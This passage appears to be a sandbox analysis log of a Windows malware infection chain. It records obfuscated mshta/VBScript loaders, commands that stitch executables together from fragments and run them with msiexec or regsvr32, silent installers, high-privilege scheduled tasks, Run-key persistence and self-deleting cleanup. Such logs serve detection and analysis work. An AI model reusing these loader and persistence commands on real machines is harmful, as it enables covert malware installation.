C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )13⤵
- Checks whether UAC is enabled
PID:7336 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"14⤵PID:7632
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )13⤵
- Checks whether UAC is enabled
PID:3184 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC14⤵PID:7284
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "15⤵PID:5520
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"15⤵PID:6976
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC15⤵PID:4872
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "hEPbeAf5cdzCvC40FkJ2kgey.exe"12⤵
- Kills process with taskkill
PID:7800
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\N2XnjEQZk3notVmmRBXAgMj_.exe"C:\Users\Admin\Pictures\Adobe Films\N2XnjEQZk3notVmmRBXAgMj_.exe"9⤵PID:7664
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=110⤵
- Adds Run key to start application
PID:8144 -
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--ZgwMku75"11⤵
- Checks whether UAC is enabled
PID:1960 -
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1c8,0x1cc,0x1d0,0x1a4,0x1d4,0x7ff87a8cdec0,0x7ff87a8cded0,0x7ff87a8cdee012⤵PID:8000
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff6ad3a9e70,0x7ff6ad3a9e80,0x7ff6ad3a9e9013⤵PID:5408
-
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1756,17354285813170622713,15186140812965862244,131072 --lang=ja --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1960_713669092" --mojo-platform-channel-handle=1784 /prefetch:812⤵PID:6372
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\RfrsVo1QXyIu4tRjM9YC3pg5.exe"C:\Users\Admin\Pictures\Adobe Films\RfrsVo1QXyIu4tRjM9YC3pg5.exe"9⤵PID:8128
-
C:\Users\Admin\Pictures\Adobe Films\RfrsVo1QXyIu4tRjM9YC3pg5.exe"C:\Users\Admin\Pictures\Adobe Films\RfrsVo1QXyIu4tRjM9YC3pg5.exe" -u10⤵PID:756
-
-
-
C:\Users\Admin\Pictures\Adobe Films\no0l9mpWsCqV6aZKeWDYdC_0.exe"C:\Users\Admin\Pictures\Adobe Films\no0l9mpWsCqV6aZKeWDYdC_0.exe"9⤵PID:7576
-
C:\Users\Admin\AppData\Local\Temp\is-PUA46.tmp\no0l9mpWsCqV6aZKeWDYdC_0.tmp"C:\Users\Admin\AppData\Local\Temp\is-PUA46.tmp\no0l9mpWsCqV6aZKeWDYdC_0.tmp" /SL5="$603D8,506127,422400,C:\Users\Admin\Pictures\Adobe Films\no0l9mpWsCqV6aZKeWDYdC_0.exe"10⤵
- Checks whether UAC is enabled
PID:8120 -
C:\Users\Admin\AppData\Local\Temp\is-VAHTQ.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-VAHTQ.tmp\DYbALA.exe" /S /UID=270911⤵
- Drops file in Drivers directory
PID:4528 -
C:\Users\Admin\AppData\Local\Temp\7d-2e3d6-e29-091bb-d417d7f29bba7\ZHawaerobugi.exe"C:\Users\Admin\AppData\Local\Temp\7d-2e3d6-e29-091bb-d417d7f29bba7\ZHawaerobugi.exe"12⤵
- Checks whether UAC is enabled
PID:5684 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\aezjghlz.v4p\setting.exe SID=778 CID=778 SILENT=1 /quiet & exit13⤵PID:7988
-
C:\Users\Admin\AppData\Local\Temp\aezjghlz.v4p\setting.exeC:\Users\Admin\AppData\Local\Temp\aezjghlz.v4p\setting.exe SID=778 CID=778 SILENT=1 /quiet14⤵
- Checks whether UAC is enabled
- Enumerates connected drives
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
PID:8336 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Settings\Settings 1.0.0\install\FD7DF1F\Settings Installation.msi" SID=778 CID=778 SILENT=1 /quiet AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\aezjghlz.v4p\setting.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\aezjghlz.v4p\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1634218862 SID=778 CID=778 SILENT=1 /quiet " SID="778" CID="778"15⤵PID:6124
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\u0okwupo.1na\GcleanerEU.exe /eufive & exit13⤵PID:5000
-
C:\Users\Admin\AppData\Local\Temp\u0okwupo.1na\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\u0okwupo.1na\GcleanerEU.exe /eufive14⤵PID:8328
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ab5pgwbh.bht\installer.exe /qn CAMPAIGN="654" & exit13⤵PID:6976
-
C:\Users\Admin\AppData\Local\Temp\ab5pgwbh.bht\installer.exeC:\Users\Admin\AppData\Local\Temp\ab5pgwbh.bht\installer.exe /qn CAMPAIGN="654"14⤵
- Checks whether UAC is enabled
- Enumerates connected drives
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
PID:8420 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\ab5pgwbh.bht\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ab5pgwbh.bht\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1634218862 /qn CAMPAIGN=""654"" " CAMPAIGN="654"15⤵PID:5768
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zujxfc34.xym\any.exe & exit13⤵PID:8012
-
C:\Users\Admin\AppData\Local\Temp\zujxfc34.xym\any.exeC:\Users\Admin\AppData\Local\Temp\zujxfc34.xym\any.exe14⤵PID:8576
-
C:\Users\Admin\AppData\Local\Temp\zujxfc34.xym\any.exe"C:\Users\Admin\AppData\Local\Temp\zujxfc34.xym\any.exe" -u15⤵
- Loads dropped DLL
PID:3596
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ebzux0qb.0jf\customer51.exe & exit13⤵PID:2288
-
C:\Users\Admin\AppData\Local\Temp\ebzux0qb.0jf\customer51.exeC:\Users\Admin\AppData\Local\Temp\ebzux0qb.0jf\customer51.exe14⤵PID:8664
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\utluuspk.r32\gcleaner.exe /mixfive & exit13⤵PID:7932
-
C:\Users\Admin\AppData\Local\Temp\utluuspk.r32\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\utluuspk.r32\gcleaner.exe /mixfive14⤵PID:8800
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dn3zi1s2.bp4\autosubplayer.exe /S & exit13⤵
- Checks whether UAC is enabled
- Suspicious use of SetWindowsHookEx
PID:5240
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1dnn43h5.jib\installer.exe /qn CAMPAIGN=654 & exit13⤵PID:8396
-
C:\Users\Admin\AppData\Local\Temp\1dnn43h5.jib\installer.exeC:\Users\Admin\AppData\Local\Temp\1dnn43h5.jib\installer.exe /qn CAMPAIGN=65414⤵
- Checks whether UAC is enabled
PID:8500
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\te3fe2vo.vo4\GcleanerEU.exe /eufive & exit13⤵PID:5144
-
C:\Users\Admin\AppData\Local\Temp\te3fe2vo.vo4\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\te3fe2vo.vo4\GcleanerEU.exe /eufive14⤵PID:4816
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ze13ncxb.2fp\installer.exe /qn CAMPAIGN="654" & exit13⤵PID:6316
-
C:\Users\Admin\AppData\Local\Temp\ze13ncxb.2fp\installer.exeC:\Users\Admin\AppData\Local\Temp\ze13ncxb.2fp\installer.exe /qn CAMPAIGN="654"14⤵PID:752
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\r22z4tzp.zma\any.exe & exit13⤵PID:3548
-
C:\Users\Admin\AppData\Local\Temp\r22z4tzp.zma\any.exeC:\Users\Admin\AppData\Local\Temp\r22z4tzp.zma\any.exe14⤵PID:8208
-
C:\Users\Admin\AppData\Local\Temp\r22z4tzp.zma\any.exe"C:\Users\Admin\AppData\Local\Temp\r22z4tzp.zma\any.exe" -u15⤵
- Checks whether UAC is enabled
PID:8628
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\on30vuei.yna\gcleaner.exe /mixfive & exit13⤵PID:2208
-
C:\Users\Admin\AppData\Local\Temp\on30vuei.yna\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\on30vuei.yna\gcleaner.exe /mixfive14⤵PID:7368
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gw2z0p5o.vn1\autosubplayer.exe /S & exit13⤵
- Checks whether UAC is enabled
- Suspicious use of SetWindowsHookEx
PID:5716
-
-
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST8⤵
- Creates scheduled task(s)
PID:6456
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST8⤵
- Creates scheduled task(s)
PID:6464
-
-
-
C:\Users\Admin\Pictures\Adobe Films\x7Hv0areTYToP3bcsReDxK6I.exe"C:\Users\Admin\Pictures\Adobe Films\x7Hv0areTYToP3bcsReDxK6I.exe"7⤵PID:3968
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im x7Hv0areTYToP3bcsReDxK6I.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\x7Hv0areTYToP3bcsReDxK6I.exe" & del C:\ProgramData\*.dll & exit8⤵PID:1860
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im x7Hv0areTYToP3bcsReDxK6I.exe /f9⤵
- Kills process with taskkill
PID:5964
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 69⤵
- Delays execution with timeout.exe
PID:8280
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\2cXpgEd_3C58sTQEbz5GciRz.exe"C:\Users\Admin\Pictures\Adobe Films\2cXpgEd_3C58sTQEbz5GciRz.exe"7⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:7048
-
-
C:\Users\Admin\Pictures\Adobe Films\q0EEv1CHHggzp0rzjAvkNWcT.exe"C:\Users\Admin\Pictures\Adobe Films\q0EEv1CHHggzp0rzjAvkNWcT.exe"7⤵
- Suspicious use of SetThreadContext
PID:6152 -
C:\Users\Admin\Pictures\Adobe Films\q0EEv1CHHggzp0rzjAvkNWcT.exe"C:\Users\Admin\Pictures\Adobe Films\q0EEv1CHHggzp0rzjAvkNWcT.exe"8⤵PID:1996
-
-
-
C:\Users\Admin\Pictures\Adobe Films\9dGJsTt438VmesvmGk6ByPU3.exe"C:\Users\Admin\Pictures\Adobe Films\9dGJsTt438VmesvmGk6ByPU3.exe"7⤵
- Loads dropped DLL
PID:5828
-
-
C:\Users\Admin\Pictures\Adobe Films\68NfRvVPc0dMj0Af1gDD6Umk.exe"C:\Users\Admin\Pictures\Adobe Films\68NfRvVPc0dMj0Af1gDD6Umk.exe"7⤵
- Suspicious use of SetThreadContext
PID:6732 -
C:\Users\Admin\Pictures\Adobe Films\68NfRvVPc0dMj0Af1gDD6Umk.exe"C:\Users\Admin\Pictures\Adobe Films\68NfRvVPc0dMj0Af1gDD6Umk.exe"8⤵PID:3324
-
-
-
C:\Users\Admin\Pictures\Adobe Films\famshBCMChLogVFVd1wB4nrO.exe"C:\Users\Admin\Pictures\Adobe Films\famshBCMChLogVFVd1wB4nrO.exe"7⤵PID:3596
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=18⤵
- Adds Run key to start application
PID:7224 -
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--ZgwMku75"9⤵
- Checks whether UAC is enabled
PID:5328 -
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1ec,0x1e8,0x1e4,0x208,0x1e0,0x7ff87a8cdec0,0x7ff87a8cded0,0x7ff87a8cdee010⤵PID:8956
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1740,14884473605449230968,16258878518785432348,131072 --lang=ja --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5328_1830938947" --mojo-platform-channel-handle=1756 /prefetch:810⤵PID:3968
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon173a360b525.exe5⤵
- Suspicious use of WriteProcessMemory
PID:2892 -
C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon173a360b525.exeMon173a360b525.exe6⤵
- Executes dropped EXE
PID:1964 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\2028737975.exe"7⤵PID:1724
-
C:\Users\Admin\AppData\Local\Temp\2028737975.exe"C:\Users\Admin\AppData\Local\Temp\2028737975.exe"8⤵
- Executes dropped EXE
PID:3944
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\3653892875.exe"7⤵PID:5736
-
C:\Users\Admin\AppData\Local\Temp\3653892875.exe"C:\Users\Admin\AppData\Local\Temp\3653892875.exe"8⤵
- Executes dropped EXE
PID:3200
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Mon173a360b525.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon173a360b525.exe" & exit7⤵PID:2248
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Mon173a360b525.exe" /f8⤵
- Kills process with taskkill
PID:8172
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon17332e41e6b.exe5⤵PID:2364
-
C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon17332e41e6b.exeMon17332e41e6b.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3668 -
C:\Users\Admin\AppData\Roaming\8432954.exe"C:\Users\Admin\AppData\Roaming\8432954.exe"7⤵
- Executes dropped EXE
PID:4592
-
-
C:\Users\Admin\AppData\Roaming\7061122.exe"C:\Users\Admin\AppData\Roaming\7061122.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:2032
-
-
C:\Users\Admin\AppData\Roaming\825550.exe"C:\Users\Admin\AppData\Roaming\825550.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:2224
-
-
C:\Users\Admin\AppData\Roaming\6659323.exe"C:\Users\Admin\AppData\Roaming\6659323.exe"7⤵
- Executes dropped EXE
- Adds Run key to start application
PID:1088 -
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"8⤵
- Executes dropped EXE
PID:816
-
-
-
C:\Users\Admin\AppData\Roaming\3963561.exe"C:\Users\Admin\AppData\Roaming\3963561.exe"7⤵
- Executes dropped EXE
PID:4168 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRipt: CLosE ( CreaTEoBJeCT ( "WScRIPT.sHell" ).RUn ( "cMD.Exe /R COPY /Y ""C:\Users\Admin\AppData\Roaming\3963561.exe"" ..\FZkDRs9RSZN.Exe && sTArt ..\FZkDrs9RSZN.exe /PdmLkTgclA1F1vCuy4x & if """" == """" for %c in ( ""C:\Users\Admin\AppData\Roaming\3963561.exe"" ) do taskkill -IM ""%~nxc"" -f " , 0, TrUE) )8⤵
- Checks whether UAC is enabled
PID:4360 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R COPY /Y "C:\Users\Admin\AppData\Roaming\3963561.exe" ..\FZkDRs9RSZN.Exe && sTArt ..\FZkDrs9RSZN.exe /PdmLkTgclA1F1vCuy4x& if ""== "" for %c in ( "C:\Users\Admin\AppData\Roaming\3963561.exe") do taskkill -IM "%~nxc" -f9⤵PID:1004
-
C:\Users\Admin\AppData\Local\Temp\FZkDRs9RSZN.Exe..\FZkDrs9RSZN.exe /PdmLkTgclA1F1vCuy4x10⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:2252 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRipt: CLosE ( CreaTEoBJeCT ( "WScRIPT.sHell" ).RUn ( "cMD.Exe /R COPY /Y ""C:\Users\Admin\AppData\Local\Temp\FZkDRs9RSZN.Exe"" ..\FZkDRs9RSZN.Exe && sTArt ..\FZkDrs9RSZN.exe /PdmLkTgclA1F1vCuy4x & if ""/PdmLkTgclA1F1vCuy4x"" == """" for %c in ( ""C:\Users\Admin\AppData\Local\Temp\FZkDRs9RSZN.Exe"" ) do taskkill -IM ""%~nxc"" -f " , 0, TrUE) )11⤵PID:5332
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R COPY /Y "C:\Users\Admin\AppData\Local\Temp\FZkDRs9RSZN.Exe" ..\FZkDRs9RSZN.Exe && sTArt ..\FZkDrs9RSZN.exe /PdmLkTgclA1F1vCuy4x& if "/PdmLkTgclA1F1vCuy4x"== "" for %c in ( "C:\Users\Admin\AppData\Local\Temp\FZkDRs9RSZN.Exe") do taskkill -IM "%~nxc" -f12⤵PID:5552
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbSCriPt: clOSE ( creatEoBjecT ( "wScripT.SheLL").rUn ( "CMD /R EchO | sET /P = ""MZ"" > GGEDXaPF.3N & COPy /y /b GGEDXaPF.3N + OS9L8LWJ.8 + OXk9Xe.U5Q+ jD6c~d.d+ xtSWZV.KD+KhEL.5i ..\cKW6.mXo & deL /q *& StArT regsvr32 -u ..\cKW6.mXo -s " , 0, True))11⤵
- Checks whether UAC is enabled
PID:5444 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R EchO | sET /P = "MZ" > GGEDXaPF.3N & COPy /y /b GGEDXaPF.3N + OS9L8LWJ.8 + OXk9Xe.U5Q+jD6c~d.d+ xtSWZV.KD+KhEL.5i ..\cKW6.mXo &deL /q *&StArT regsvr32 -u ..\cKW6.mXo -s12⤵PID:2004
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EchO "13⤵PID:6760
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" sET /P = "MZ" 1>GGEDXaPF.3N"13⤵PID:6820
-
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 -u ..\cKW6.mXo -s13⤵
- Loads dropped DLL
PID:3700
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -IM "3963561.exe" -f10⤵
- Kills process with taskkill
PID:5720
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\208712.exe"C:\Users\Admin\AppData\Roaming\208712.exe"7⤵
- Executes dropped EXE
PID:3924
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon178d8e5d06822.exe5⤵PID:1492
-
C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon178d8e5d06822.exeMon178d8e5d06822.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4324 -
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"7⤵
- Executes dropped EXE
PID:508 -
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"8⤵PID:4680
-
-
C:\Users\Admin\AppData\Local\Temp\Soft1WW01.exe"C:\Users\Admin\AppData\Local\Temp\Soft1WW01.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:868 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Soft1WW01.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Soft1WW01.exe" & del C:\ProgramData\*.dll & exit9⤵
- Executes dropped EXE
PID:4680 -
C:\Windows\SysWOW64\taskkill.exetaskkill /im Soft1WW01.exe /f10⤵
- Kills process with taskkill
PID:6148
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 610⤵
- Delays execution with timeout.exe
PID:7128
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\chrome2.exe"C:\Users\Admin\AppData\Local\Temp\chrome2.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1148
-
-
C:\Users\Admin\AppData\Local\Temp\chrome.exe"C:\Users\Admin\AppData\Local\Temp\chrome.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2572 -
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"9⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:5364
-
-
-
C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1976 -
C:\Users\Admin\AppData\Roaming\3298117.exe"C:\Users\Admin\AppData\Roaming\3298117.exe"9⤵
- Executes dropped EXE
PID:5168
-
-
C:\Users\Admin\AppData\Roaming\1798190.exe"C:\Users\Admin\AppData\Roaming\1798190.exe"9⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5472
-
-
C:\Users\Admin\AppData\Roaming\6436128.exe"C:\Users\Admin\AppData\Roaming\6436128.exe"9⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5652
-
-
C:\Users\Admin\AppData\Roaming\7975096.exe"C:\Users\Admin\AppData\Roaming\7975096.exe"9⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:5896 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRipt: CLosE ( CreaTEoBJeCT ( "WScRIPT.sHell" ).RUn ( "cMD.Exe /R COPY /Y ""C:\Users\Admin\AppData\Roaming\7975096.exe"" ..\FZkDRs9RSZN.Exe && sTArt ..\FZkDrs9RSZN.exe /PdmLkTgclA1F1vCuy4x & if """" == """" for %c in ( ""C:\Users\Admin\AppData\Roaming\7975096.exe"" ) do taskkill -IM ""%~nxc"" -f " , 0, TrUE) )10⤵
- Checks whether UAC is enabled
PID:5340 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R COPY /Y "C:\Users\Admin\AppData\Roaming\7975096.exe" ..\FZkDRs9RSZN.Exe && sTArt ..\FZkDrs9RSZN.exe /PdmLkTgclA1F1vCuy4x& if ""== "" for %c in ( "C:\Users\Admin\AppData\Roaming\7975096.exe") do taskkill -IM "%~nxc" -f11⤵PID:5140
-
C:\Windows\SysWOW64\taskkill.exetaskkill -IM "7975096.exe" -f12⤵
- Kills process with taskkill
PID:6556
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\8445622.exe"C:\Users\Admin\AppData\Roaming\8445622.exe"9⤵
- Executes dropped EXE
- Suspicious behavior: SetClipboardViewer
PID:5948
-
-
C:\Users\Admin\AppData\Roaming\1867620.exe"C:\Users\Admin\AppData\Roaming\1867620.exe"9⤵
- Executes dropped EXE
PID:6008
-
-
-
